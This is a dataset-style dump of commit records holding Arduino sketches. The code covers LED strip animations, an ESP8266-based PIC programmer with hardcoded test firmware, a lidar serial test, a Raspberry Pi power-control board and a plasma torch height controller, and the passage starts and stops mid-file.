\/\/colorAll(strip.Color(0, 255, 255), 50); \/\/ Magenta\n}\n\nvoid pixelSwipeRandom(uint32_t c, uint32_t b, uint8_t wait) {\n pixelWipe(c, b, wait); \/\/ Red\n clearAll(b);\n strip.show();\n delay(random(100,10000));\n pixelWipeReverse(c,b, wait); \n clearAll(b);\n strip.show();\n delay(random(100,10000));\n}\n\/\/ Set all pixels in the strip to a solid color, then wait (ms)\nvoid colorAll(uint32_t c, uint8_t wait) {\n uint16_t i;\n \n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n }\n strip.show();\n delay(wait);\n}\n\n\/\/ Fill the dots one after the other with a color, wait (ms) after each one\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid pixelWipe(uint32_t c, uint32_t b, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n clearAll(b);\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n\n }\n}\n\nvoid pixelWipeReverse(uint32_t c, uint32_t b, uint8_t wait) {\n for(int16_t i=strip.numPixels() -1; i>=0; i--) {\n clearAll(b);\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid clearAll(uint32_t b) {\n for(uint16_t t=0; t<strip.numPixels(); t++) {\n strip.setPixelColor(t, b);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout, then wait (ms)\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) { \/\/ 1 cycle of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\nvoid OnTimer(void) { \/\/Handler for the timer, will be called automatically\n if (LEDflag == FALSE) {\n digitalWrite(LED, HIGH); \/\/ Turn ON the LED\n LEDflag = TRUE;\n } else {\n digitalWrite(LED, LOW); \/\/ Turn OFF the LED\n LEDflag = FALSE;\n }\n if (Spark.connected() == false) {\n Spark.connect();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'verkstedskilt-semi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d18bb3613cb2017e1d8d4650b92348363a483836","subject":"Added test version of the ESP code","message":"Added test version of the ESP code\n","repos":"SmallRoomLabs\/esppic,SmallRoomLabs\/esppic,SmallRoomLabs\/esppic,SmallRoomLabs\/esppic","old_file":"esppic\/esppic.ino","new_file":"esppic\/esppic.ino","new_contents":"\/\/\n\/\/ esppic - An ESP8266-bsed Microchip PIC programmer\n\/\/ Copyright 2016 Mats Engstrom SmallRoomLabs\n\/\/ Released under the MIT license\n\/\/\n\n\n#define SWAP16(x) (((x & 0x00ff) << 8) | ((x & 0xff00) >> 8))\n\n#define FLASHSIZE \t8192\n#define PICMAXWORDS \t8192\n#define PICBLANKWORD \t0x3FFF\n\n\/\/ Locations of the special Config & Id memories on the PIC\n#define USERID \t0 \n#define CONFIG1 \t7\n#define CONFIG2 \t8\n#define DEVID \t6\n#define DEVREV \t5\n\n#define DLY1 10 \/\/ 10 microseconds for toggling and stuff\n#define DLY2 10000 \/\/ 10 millisecond for command delay\n\n#define PIN_RESET D0\n#define PIN_DAT D1\n#define PIN_CLK D2\n\n#define DAT_INPUT pinMode(PIN_DAT, INPUT);\n#define DAT_OUT pinMode(PIN_DAT, OUTPUT);\n#define DAT_LOW digitalWrite(PIN_DAT, LOW)\n#define DAT_HIGH digitalWrite(PIN_DAT, HIGH)\n#define DAT_GET digitalRead(PIN_DAT)\n\n#define CLK_LOW digitalWrite(PIN_CLK, LOW)\n#define CLK_HIGH digitalWrite(PIN_CLK, HIGH)\n\n#define RESET_LOW digitalWrite(PIN_RESET, LOW)\n#define RESET_HIGH digitalWrite(PIN_RESET, HIGH)\n\nuint16_t currentAddress;\n\n\n\/\/ Some hardcoded firmware to upload to the PIC for testing\nchar code[]={\\\n\":08000000803102288731672FCF\\n\"\\\n\":100ECE002000692FF0302100990023008C018E0143\\n\"\\\n\":100EDE0021008C018E0122008C018E010530F20062\\n\"\\\n\":100EEE000F30F100F430F000F00B7B2FF10B7B2F65\\n\"\\\n\":100EFE00F20B7B2FFF3022008C00FF308E0029304A\\n\"\\\n\":100F0E00F2009630F100A630F000F00B8C2FF10BB2\\n\"\\\n\":100F1E008C2FF20B8C2F2930F2009630F100A63078\\n\"\\\n\":100F2E00F000F00B982FF10B982FF20B982F293021\\n\"\\\n\":100F3E00F2009630F100A630F000F00BA42FF10B6A\\n\"\\\n\":100F4E00A42FF20BA42F2930F2009630F100A63018\\n\"\\\n\":100F5E00F000F00BB02FF10BB02FF20BB02F2930A9\\n\"\\\n\":100F6E00F2009630F100A630F000F00BBC2FF10B22\\n\"\\\n\":100F7E00BC2FF20BBC2F2930F2009630F100A630B8\\n\"\\\n\":100F8E00F000F00BC82FF10BC82FF20BC82F293031\\n\"\\\n\":100F9E00F2009630F100A630F000F00BD42FF10BDA\\n\"\\\n\":100FAE00D42FF20BD42F2930F2009630F100A63058\\n\"\\\n\":100FBE00F000F00BE02FF10BE02FF20BE02F2930B9\\n\"\\\n\":100FCE00F2009630F100A630F000F00BEC2FF10B92\\n\"\\\n\":100FDE00EC2FF20BEC2F2530F2008730F100AE3003\\n\"\\\n\":100FEE00F000F00BF82FF10BF82FF20BF82F003268\\n\"\\\n\":020FFE00722F50\\n\"\\\n\":020000040001F9\\n\"\\\n\":08000000650003001800000078\\n\"\\\n\":04000E00C4C9FFFF63\\n\"\\\n\":00000001FF\\n\"\\\n};\nchar *codep=code;\n\n\n\n\/\/\n\/\/ Get a line of HEX code from the hardcoded FW\n\/\/\nchar *getline(void) {\n static char tmps[80];\n uint8_t i=0;\n while (*codep!='\\n') {\n tmps[i++]=*codep;\n codep++;\n }\n tmps[i]=0;\n codep++; \n return tmps;\n}\n\n\n\n\n\/\/\n\/\/ Setup pins and start the serial comms for debugging\n\/\/\nvoid setup() {\n pinMode(PIN_RESET, OUTPUT);\n pinMode(PIN_DAT, OUTPUT);\n pinMode(PIN_CLK, OUTPUT);\n RESET_HIGH;\n DAT_LOW;\n CLK_LOW;\n\n Serial.begin(115200);\n Serial.println(\"\\n\\n\\npicflasher v0.1 starting\\n\");\n}\n\n\n\/\/\n\/\/ Convert a one character hex string to an uint8\n\/\/\nuint8_t HexDec1(uint8_t c1) {\n if (c1>='A') c1-=7;\n c1-='0';\n return c1;\n}\n\n\n\/\/\n\/\/ Convert a two character hex string to an uint8\n\/\/\nuint8_t HexDec2(uint8_t c1, uint8_t c2) {\n return HexDec1(c1)*16 + HexDec1(c2);\n}\n\n\n\/\/\n\/\/ Convert a four character hex string to an uint16\n\/\/\nuint16_t HexDec4(uint8_t c1, uint8_t c2, uint8_t c3, uint8_t c4) {\n return HexDec2(c1,c2)*256 + HexDec2(c3,c4);\n}\n\n\/\/\n\/\/ prints 8-bit data in hex with leading zeroes\n\/\/\nvoid PrintHex8(uint8_t *data, uint8_t length) {\n char tmp[5];\n byte first;\n byte second;\n for (uint8_t i=0; i<length; i++) {\n first = (data[i] >> 4) & 0x0f;\n second = data[i] & 0x0f;\n tmp[0] = '0'; \/\/ add leading 0\n tmp[1] = 'x'; \/\/ add leading x\n tmp[2] = first+48;\n if (first > 9) tmp[2] += 7;\n tmp[3] = second+48;\n if (second > 9) tmp[3] += 7;\n tmp[4] = ' '; \/\/ add trailing space\n tmp[5] = 0;\n Serial.print(&tmp[2]);\n }\n}\n\n\n\/\/\n\/\/ prints 16-bit data in hex with leading zeroes \n\/\/\nvoid PrintHex16(uint16_t *data, uint8_t length) {\n char tmp[7];\n uint8_t first;\n uint8_t second;\n uint8_t third;\n uint8_t fourth;\n for (uint8_t i=0; i<length; i++) {\n first = (data[i] >> 12) & 0x0f;\n second = (data[i] >> 8) & 0x0f;\n third = (data[i] >> 4) & 0x0f;\n fourth = data[i] & 0x0f;\n tmp[0] = '0'; \/\/ add leading 0\n tmp[1] = 'x'; \/\/ add leading x\n tmp[2] = first+48; if (first > 9) tmp[2] += 7;\n tmp[3] = second+48; if (second > 9) tmp[3] += 7;\n tmp[4] = third+48; if (third > 9) tmp[4] += 7;\n tmp[5] = fourth+48; if (fourth > 9) tmp[5] += 7;\n tmp[6] = ' '; \/\/ add trailing space\n tmp[7] = 0;\n Serial.print(&tmp[2]);\n }\n}\n\n\/\/\n\/\/\n\/\/\nvoid PrintBinary16(uint16_t data) {\n char tmp[19];\n tmp[0]=(data&0x8000?'1':'0');\n tmp[1]=(data&0x4000?'1':'0');\n tmp[2]=(data&0x2000?'1':'0');\n tmp[3]=(data&0x1000?'1':'0');\n tmp[4]=' ';\n tmp[5]=(data&0x800?'1':'0');\n tmp[6]=(data&0x400?'1':'0');\n tmp[7]=(data&0x200?'1':'0');\n tmp[8]=(data&0x100?'1':'0');\n tmp[9]=' ';\n tmp[10]=(data&0x80?'1':'0');\n tmp[11]=(data&0x40?'1':'0');\n tmp[12]=(data&0x20?'1':'0');\n tmp[13]=(data&0x10?'1':'0');\n tmp[14]=' ';\n tmp[15]=(data&0x8?'1':'0');\n tmp[16]=(data&0x4?'1':'0');\n tmp[17]=(data&0x2?'1':'0');\n tmp[18]=(data&0x1?'1':'0');\n tmp[19]=0;\n Serial.print(tmp);\n}\n\n\n\/\/\n\/\/ Clock out data to the PIC. The \"bits\" argument\n\/\/ specifies how many bits to be sent.\n\/\/\nvoid Send(uint16_t data, uint8_t bits) {\n DAT_OUT;\n delayMicroseconds(DLY1);\n for (uint8_t i=0; i<bits; i++) {\n if (data&0x01) {\n DAT_HIGH;\n } else {\n DAT_LOW;\n }\n delayMicroseconds(DLY1);\n CLK_HIGH;\n delayMicroseconds(DLY1);\n CLK_LOW;\n delayMicroseconds(DLY1);\n data = data >> 1;\n }\n DAT_LOW;\n}\n\n\n\/\/\n\/\/ Clock in 16 bits of data from the PIC\n\/\/\nuint16_t Read16(void){\n uint16_t data=0;\n \n DAT_INPUT;\n delayMicroseconds(DLY1);\n for (uint8_t i=0; i<16; i++) {\n CLK_HIGH;\n delayMicroseconds(DLY1);\n CLK_LOW;\n delayMicroseconds(DLY1);\n data=data >> 1;\n if (DAT_GET) data = data | 0x8000;\n }\n return data;\n}\n\n\n\/\/\n\/\/ Send the RESET ADDRESS command to the PIC\n\/\/\nvoid CmdResetAddress(void) {\n currentAddress=0;\n Send(0x16,6);\n delayMicroseconds(DLY2);\n}\n\n\/\/\n\/\/ Send the INCREMENT ADDRESS command to the PIC\n\/\/\nvoid CmdIncAddress(void) {\n currentAddress++;\n Send(0x06,6);\n delayMicroseconds(DLY1);\n}\n\n\/\/\n\/\/ Send the BEGIN PROGRAMMING INTERNAL TIMED command to the PIC\n\/\/\nvoid CmdBeginProgramI(void) {\n Send(0x08,6);\n delayMicroseconds(DLY2);\n}\n\n\/\/\n\/\/ Send the LOAD CONFIG command to the PIC\n\/\/\nvoid CmdLoadConfig(uint16_t data) {\n currentAddress=0;\n Send(0x00,6);\n Send(data,16);\n delayMicroseconds(DLY2);\n}\n\n\n\/\/\n\/\/ Send the READ DATA command to the PIC\n\/\/ TODO: This command should not increment the address here\n\/\/\nvoid CmdReadData(uint16_t *data, uint8_t cnt) {\nfor (uint8_t i=0; i<cnt; i++) {\n Send(0x04, 6);\n delayMicroseconds(DLY1);\n data[i] = (Read16() & 0x7FFE) >> 1;\n CmdIncAddress();\n }\n}\n\n\n\/\/\n\/\/ Send the BULK ERASE command to the PIC\n\/\/\nvoid CmdBulkErase(void) {\n Serial.println(\"BulkErase\");\n CmdLoadConfig(0);\n Send(0x09,6);\n delay(10);\n}\n\n\/\/\n\/\/ Send the magic 32 bits plus one extra clock \n\/\/ to get into the LVP programming mode\n\/\/\nvoid EnterLVPmode() {\n CLK_LOW;\n DAT_LOW;\n delayMicroseconds(500);\n RESET_LOW;\n delayMicroseconds(500);\n Send(0b01010000,8); \/\/P\n Send(0b01001000,8); \/\/H\n Send(0b01000011,8); \/\/C\n Send(0b01001101,8); \/\/M\n Send(0,1);\n delayMicroseconds(DLY1);\n }\n\n\n\n\/\/\n\/\/ Dump the contents of the PIC flash memory onto the\n\/\/ serial line for debugging\n\/\/\nvoid DumpMemory(void) {\n bool isBlank;\n uint16_t data[16];\n \n CmdResetAddress();\n for (uint16_t rows=0; rows<FLASHSIZE\/16; rows++) {\n CmdReadData(data,16);\n isBlank=true;\n for (uint8_t i=0; i<16; i++) {\n if (data[i]!=0x3FFF) isBlank=false; \n }\n if (!isBlank) {\n uint16_t address=rows*16;\n PrintHex16(&address,1); \n Serial.print(\":\");\n PrintHex16(&data[0],16); \n Serial.println();\n }\n yield();\n } \n}\n\n\n\n\n\/\/\n\/\/ Dump the CONFIG memory parts of the PIC onto the \n\/\/ serial line for debugging \n\/\/\nvoid DumpConfig() {\n uint16_t data[16];\n\n CmdLoadConfig(0x00);\n CmdReadData(data,16);\n Serial.print(\"DEV ID : \"); PrintHex16(&data[DEVID],1); Serial.println();\n Serial.print(\"DEV REV: \"); PrintHex16(&data[DEVREV],1); Serial.println();\n Serial.print(\"CONFIG1: \"); PrintHex16(&data[CONFIG1],1); Serial.print(\" (\"); PrintBinary16(data[7]); Serial.println(\")\");\n Serial.print(\"CONFIG2: \"); PrintHex16(&data[CONFIG2],1); Serial.print(\" (\"); PrintBinary16(data[8]); Serial.println(\")\");\n Serial.print(\"USER ID: \"); PrintHex16(&data[USERID],4); Serial.println();\n}\n\n\n\/\/\n\/\/ Flash one word of data into the specified location on the PIC\n\/\/\nvoid Store(uint16_t address, uint16_t data) {\n Serial.printf(\"0x%04X:0x%04X\\n\",address,data);\n if (address<currentAddress) CmdResetAddress();\n while (address>currentAddress) CmdIncAddress();\n Send(0x02,6); \n Send(data<<1,16); \n CmdBeginProgramI();\n delay(3);\n}\n\n\n\n\/\/\n\/\/ The main code that does the stuff ^__^\n\/\/\nvoid loop() {\n uint16_t data[32];\n uint16_t a;\n uint8_t d_len;\n uint16_t d_addr;\n uint8_t d_typ;\n \n EnterLVPmode();\n\n \/\/ CONFIG words\n CmdResetAddress();\n CmdLoadConfig(0x00);\n CmdBulkErase();\n Store(CONFIG1, SWAP16(0xE4C9)); delay(5);\n Store(CONFIG2, SWAP16(0xFBFF)); delay(5);\n\n CmdResetAddress();\n\n \/\/ USER ID's in the CONFIG area\n Store(USERID+0,SWAP16(0x8031));\t\/\/ Just put some hardcoded\n Store(USERID+1,SWAP16(0x0228));\t\/\/ data here for fun while\n Store(USERID+2,SWAP16(0x8731));\t\/\/ debugging\n Store(USERID+3,SWAP16(0xE12F));\n\n \/\/ CODE\n char *s;\n do {\n s=getline();\n Serial.println(s);\n d_len=HexDec2(s[1],s[2]);\n d_addr=HexDec4(s[3],s[4],s[5],s[6]);\n d_typ=HexDec2(s[7],s[8]);\n Serial.printf(\"len=%02x addres=%04x type=%02x\\n\",d_len,d_addr,d_typ);\n if (d_typ==0x00) {\n for (uint8_t i=0; i<d_len*2; i+=4) { \n Store(d_addr\/2+i\/4,HexDec4(s[11+i],s[12+i],s[9+i],s[10+i]));\n }\n }\n } while (d_typ!=1);\n\n \/\/ Dump the CONFIGs and the CODE areas onto serial\n \/\/ for debugging\n CmdResetAddress();\n DumpConfig();\n CmdResetAddress();\n DumpMemory();\n\n\n \/\/ De-assert the PIC reset line so the new code just uploaded\n \/\/ can start running on it. Then just hang the ESP in an forever loop\n RESET_HIGH;\n for (;;) delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esppic\/esppic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"acb0f06ce9e4bc95b05e68726a70de5eca4043df","subject":"Add TFmini plus (lidar) test code","message":"Add TFmini plus (lidar) test code\n","repos":"simplyellow\/auto-sumo","old_file":"Kirbi\/testing\/lidar_serial\/lidar_serial.ino","new_file":"Kirbi\/testing\/lidar_serial\/lidar_serial.ino","new_contents":"\/\/ set this to the hardware serial port you wish to use\n#define HWSERIAL Serial1\nbyte byteArray [9];\n\/\/ Byte0 Byte 1 Byte2 Byte3 Byte4 Byte5 Byte6 Byte7 Byte8\n\/\/ 0x89 0x89 Dist_L Dist_H Strength_L Strength_H Temp_L Temp_H Checksum\n\/\/ byte2 is distance, overflows into byte3\n\nbyte configOutput [5] = {0x5A, 0x05, 0x07, 0x01, 0x11}; \/\/ write this array to HWSERIAL to enable output\nbyte configUART [5] = {0x5A, 0x05, 0x0A, 0x00, 0x11}; \/\/ write this array to HWSERIAL to set sensor to UART mode\n\/\/ more config commands on datasheet https:\/\/acroname.com\/sites\/default\/files\/assets\/sj-gu-tfmini_plus-01-a04-datasheet_en.pdf\n\n\nvoid setup() {\n Serial.begin(115200); \n HWSERIAL.begin(115200);\/\/ default baud rate\n HWSERIAL.write(configUART, 5); \/\/ set sensor to UART mode\n HWSERIAL.write(configOutput, 5); \/\/ enable output\n}\n\nvoid loop() {\n if (HWSERIAL.available() > 0) {\n HWSERIAL.readBytes(byteArray, 9); \/\/ write output of read to an array of length 9\n for (int i =0;i<9;i++){\n Serial.println(byteArray[i]); \n } \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Kirbi\/testing\/lidar_serial\/lidar_serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"67bce4169fcff96e64b20dda417ac8a6f47d1add","subject":"Firmware for the control board MCU","message":"Firmware for the control board MCU\n","repos":"platisd\/vasttraPi,platisd\/vasttraPi","old_file":"control_board\/firmware\/vasttrapi.ino","new_file":"control_board\/firmware\/vasttrapi.ino","new_contents":"\/**\n * Power Control board for the Raspberry Pi using an ATTinyx5 microcontroller.\n * The Power Control board is using a relay to turn on and off the power to a Raspberry Pi.\n * Additionally, they are connected via (software) UART for communication when the RPi is on.\n * The microcontroller connected to a capacitive touch sensor which allows interaction with\n * the external user that wants to turn the Raspberry Pi on and off.\n * \n * ==== STATES ====\n * The microcontroller has the following states:\n * - Sleep state where the microcontroller is in deep sleep and the power to the RPi is OFF.\n * - Operation state where the microcontroller is triggering the relay to power on the RPi and\n * can communication to it via UART.\n * \n * ==== CURRENT FUNCTIONALITY ====\n * Upon starting up, the microcontroller goes in deep sleep which can be interrupted by a HIGH\n * signal coming from the capacitive sensor. This initiates a window of operation for the Raspberry Pi\n * during which it will remain on. Every consecutive touch moves the end of this window further in the\n * future, therefore, prolonging the period that the Raspberry Pi is functioning. In other words, on\n * every touch, the operation gets extended for the specified amount of time.\n *\/\n\n#include <avr\/sleep.h> \/\/ Sleep Modes\n#include <avr\/power.h> \/\/ Power management\n\nconst unsigned short touchSensorPin = PB2;\nconst unsigned short rpiPwrPin = PB3;\nconst boolean powerOnState = LOW; \/\/ The rpiPwrPin state that turns the power on to the RPi\n\nvolatile unsigned long timeToSleep = 0;\nconst unsigned long awakePeriod = 600000; \/\/ Time in milliseconds to remain awake on every new touch\n\n\/**\n * The change interrupt callback\n *\/\nISR (PCINT0_vect)\n{\n \/\/ We register a touch event only when the signal from the touchSensor is rising\n if (digitalRead(touchSensorPin) == HIGH){\n timeToSleep = millis() + awakePeriod;\n }\n}\n\n\/**\n * Makes the microcontroller go to deep sleep until a change interrupt occurs\n *\/\nvoid goToSleep() {\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n ADCSRA = 0; \/\/ turn off ADC\n power_all_disable (); \/\/ power off ADC, Timer 0 and 1, serial interface\n sleep_enable();\n sleep_cpu(); \/\/ Sleep here and wait for the interrupt\n sleep_disable();\n power_all_enable(); \/\/ power everything back on\n}\n\nvoid turnRPiPowerOn(){\n digitalWrite(rpiPwrPin, powerOnState);\n}\n\nvoid turnRPiPowerOff(){\n digitalWrite(rpiPwrPin, !powerOnState);\n}\n\nvoid setup() {\n Serial.begin(9600); \/\/ The Universal ATtinyCore library by Spence Konde uses PB0 as TX and PB1 as RX\n pinMode(rpiPwrPin, OUTPUT);\n pinMode(touchSensorPin, INPUT);\n turnRPiPowerOff(); \/\/ When starting up, make sure the power to the RPi is off\n \/\/ Setup pin change interrupt for D2\n PCMSK |= bit (PCINT2); \/\/ want pin D2 (PB2)\n GIFR |= bit (PCIF); \/\/ clear any outstanding interrupts\n GIMSK |= bit (PCIE); \/\/ enable pin change interrupts\n}\n\nvoid loop() {\n if (millis() >= timeToSleep) { \/\/ Check if it is currently time to be asleep\n turnRPiPowerOff(); \/\/ Turn off the power to the RPi\n goToSleep(); \/\/ Deep sleep until a change interrupt at the specified pin is triggered\n } else { \/\/ If we should not be sleeping, then we should be awake and doing stuff\n turnRPiPowerOn(); \/\/ Turn on the power to the RPi (if this is already on, it won't make any difference)\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'control_board\/firmware\/vasttrapi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7f7da140b4355efa93009a54525aa9c0a4c537ed","subject":"Initial commit","message":"Initial commit\n","repos":"CYK-Lim\/Shapeoko2Plasma,CYK-Lim\/Shapeoko2Plasma,CYK-Lim\/Shapeoko2Plasma","old_file":"THC\/THC.ino","new_file":"THC\/THC.ino","new_contents":"\/*\n * Sketch1.ino\n *\n * Timer 3 counts the 1Mhz reference from the THCAD (Port E bit 6)\n * Timer 4 counts the signal from the THCAD (Port H bit 7)\n * Timer 5 controls the output to the stepper driver (pins 45-46)\n * Int4 is the input from the parallel port (pin 2) counting pulses\n * Int5 is the input from the parallel port (pin 3) reading direction\n * Int7 is the input from the parallel port (Port E bit 7) THC ON\n *\n * Created: 5\/30\/2014 2:10:21 PM\n * Author: owner\n *\/\n\nint timer4Val = 0; \nint interruptCntr = 0;\nboolean porte4s = false;\nboolean porte5s = false;\nfloat voltageACT = 0.0;\nfloat voltageSP = 70.0;\nfloat deadBand = 1.0;\nlong thcCorrectInc = 1;\nint FreqZero = 1212;\nint incomingByte = 0;\nlong currPosACT = 0;\nlong currPosIN = 0;\nlong currPosSP = 0;\nboolean timer5ON = false;\nint temp = 0;\nboolean zDirIn = false;\nboolean thcOn = false;\nfloat thcKP = 0.10;\nfloat voltageERR = 0.0;\nboolean voltageUpdated = 0;\nunsigned int junkCounter = 0;\n\n\/\/Only called upon startup\nvoid setup()\n{\n \n DDRB |= _BV(DDB7); \/\/ set direction for the LED\n \n \n\tDDRL |= _BV(DDL4) | _BV(DDL3); \/\/set them as outputs \n\t\n\t\/\/Serial.begin(57600);\n\t\/\/Serial.println(\"Serial Started\");\n\t\t\n\/\/\/\/\/\/\/\/ TIMER 3 \/\/\/\/\/\/\/\/\/ TIMER 3 \/\/\/\/\/\/\/\/\n\t \n\t\/\/ External clock, Clear timer on Compare Match\n\tTCCR3A = 0x0;\n\tTCCR3B = _BV(WGM32)|_BV(CS32) | _BV(CS31) | _BV(CS30);\n\t\t\n\t\/\/Set the top and enable the interrupt\n\tOCR3A = 0xA17; \n\tTIMSK3 = _BV(OCIE3A);\n\t\t\n\t\/\/Set the pin as an input Port E bit 6\n\tDDRE &= ~_BV(DDE6);\n\n\/\/\/\/\/\/\/\/ TIMER 4 \/\/\/\/\/\/\/\/\/ TIMER 4 \/\/\/\/\/\/\/\/\t\t\n\t\t\t\n\t\/\/Normal counter, select external Clock rising edge \n\tTCCR4A = 0x0;\n\tTCCR4B = _BV(CS42) | _BV(CS41) | _BV(CS40);\n\t\t\n\t\/\/ Set Port H Bit 7 as an input\n\tDDRH &= ~_BV(DDH7);\n\t\n\/\/\/\/\/\/\/\/ TIMER 5 \/\/\/\/\/\/\/\/\/ TIMER 5 \/\/\/\/\/\/\/\/\n\t\n\t\/\/Set it to toggle the bit on COM5B on match (phase and freq correct\t\n\tTCCR5A = _BV(COM5B1) | _BV(WGM50);\n\tTCCR5B = _BV(WGM53); \/\/leave the clock off for now\n\t\n\t\/\/Set the top and compare value\n\tOCR5A = 0xE6; \/\/E6=230\/\/398=920\/\/730=1840 is 115uS with no prescaling (top)\n\tOCR5B = 0x73; \/\/73=115\/\/1CC=460\/\/398=920 is 57.5uS with no prescaling (toggle bit)\n\t\n\tTIMSK5 = _BV(TOIE5); \/\/enable bottom interrupt\t\n\t\n\/\/\/\/\/\/\/\/\/\/\/\/\/ EXTERNAL INTERRUPTS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/Set the external interrupt edge triggers\t\n\tEICRB = _BV(ISC70)| _BV(ISC50) | _BV(ISC41) | _BV(ISC40);\n\t\n\t\/\/Enable the external interrupt\n\tEIMSK = _BV(INT7) | _BV(INT5) | _BV(INT4);\n\t\n\t\/\/Set port E bit 4 as an input and enable pull up resistor\n\tDDRE &= ~_BV(DDE4);\n\tPORTE |= _BV(PORTE4);\n\t\n\t\/\/Set port E bit 5 as an input and enable pull up resistor\n\tDDRE &= ~_BV(DDE5);\n\tPORTE |= _BV(PORTE5);\n\t\n\t\/\/Set port E bit 7 as an input and enable pull up resistor\n\tDDRE &= ~_BV(DDE7);\n\tPORTE |= _BV(PORTE7);\n\t\n\n\t\n\t\/\/ Clear all timers\n\tTCNT3 = 0;\n\tTCNT4 = 0;\n\tTCNT5 = 0;\n\t\n\tcurrPosACT = 0;\n\tcurrPosIN = 0;\n\tcurrPosSP = 0;\n\ttimer5ON = 0;\n\t\n\/\/NEED TO INITIALIZE THE PINS THAT ARE INTERRUPT DRIVEN\n\ttemp = PINE & _BV(PINE7);\n\t\n\tif (temp != 0)\n\t\tthcOn = 1;\n\telse\n\t\tthcOn = 0;\n\t\t\n\ttemp = PINE & _BV(PINE5);\n\t\t\t\n\tif (temp != 0)\n\t\tzDirIn = 1;\n\telse\n\t\tzDirIn = 0;\n\t\n}\n\n\/\/STEP counter from the PC\nISR(INT4_vect) \n{\n\t\/\/porte4s = ~porte4s;\n\n\tif (zDirIn != 0)\n\t\tcurrPosIN--;\n\telse\n\t\tcurrPosIN++;\n\t\t\n\tif(!thcOn)\n\t\tcurrPosSP = currPosIN;\n}\n\n\/\/Direction monitor from the PC\nISR(INT5_vect) \n{\n\t\/\/porte5s = ~porte5s;\n\t\n\ttemp = PINE & _BV(PINE5);\n\t\n\tif (temp != 0)\n\t\tzDirIn = 1;\n\telse\n\t\tzDirIn = 0;\t\n}\n\n\/\/Monitors the THC ON\/OFF command from the PC\nISR(INT7_vect)\n{\n\t\/\/This is where the THC Enable is monitored\n\ttemp = PINE & _BV(PINE7);\n\t\t\n\tif (temp != 0)\n\t\tthcOn = 1;\n\telse\n\t{\n\t\tthcOn = 0;\n\t\tcurrPosSP = currPosIN;\n\t\tcurrPosACT = currPosIN;\n\t}\n}\n\n\/\/Collects the counts from the V\/F converter\nISR(TIMER3_COMPA_vect)\n{\n\ttimer4Val = TCNT4;\n\tTCNT4 = 0;\n\tvoltageUpdated = 1;\n}\n\n\/\/Updates the output position, issues new step, or stops stepping\nISR(TIMER5_OVF_vect ) \n{\n\t\/\/Sample the pin to see which direction it moved\n\ttemp = PINL & _BV(PINL3);\n\t\n\tif (temp != 0)\n\t\tcurrPosACT--;\n\telse\n\t\tcurrPosACT++;\n\t\n\t\/\/see if there are more pulses to be delivered\n\tif (currPosACT > currPosSP)\n\t{\n\t\tPORTL |= _BV(PORTL3); \/\/set direction for motor\n\t}\n\telse if ( currPosACT < currPosSP)\n\t{\n\t\tPORTL &= ~_BV(PORTL3);\t\/\/set direction for motor\n\t}\n\telse\n\t{\n\t\t\/\/no pulses are needed, stop the timer\t\n\t\tTCCR5B &= 0xF8;\n\t\ttimer5ON = 0;\t\n\t}\n}\n\n\/\/Calculates the voltage feedback\nvoid calcVolts()\n{\n\t\/*\t\n\tVoltage = voltageFullScale * (timer4Val - FreqZero) \/ (freqFullScale - FreqZero)\n\t\n\n\tWhere FreqOut is the output frequency of the THCAD, VFS is the unipolar full scale\n\trange 10V or 300V or custom value determined by external resistors. FFS is the full scale\n\toutput frequency on the calibration sticker, and FZERO is the 0V input output frequency\n\ton the calibration sticker\n\t*\/\n\t\n\tfloat temp = timer4Val*4-1212;\n\t\n\tif(temp <= 0)\n\t{\n\t\tvoltageACT = 0;\n\t}else\n\t{\n\t\tvoltageACT = 300 * temp \/ 8399;\n\t}\t\n}\n\n\/\/Main loop\nvoid loop()\n{\n \n \/\/calcVolts();\/\/moved out of loop below just for debugging\n\t\n\t\/\/ if THC is on and there is a new data point available\n\tif (thcOn && voltageUpdated)\n\t{\n\t\tvoltageUpdated = 0;\n\t\tcalcVolts();\n\t\t\n\t\tvoltageERR = voltageSP - voltageACT;\n\t\t\n\t\tif (voltageACT < (voltageSP-deadBand))\n\t\t{\n\t\t\tcurrPosSP += thcCorrectInc*voltageERR*thcKP;\n\t\t}\n\t\telse if (voltageACT > (voltageSP+deadBand))\n\t\t{\n\t\t\tcurrPosSP += thcCorrectInc*voltageERR*thcKP;\n\t\t} \n\n\t}\n\t\n\t\n\t\/\/Start the output pulsing if it is not already\n\tif (timer5ON == 0 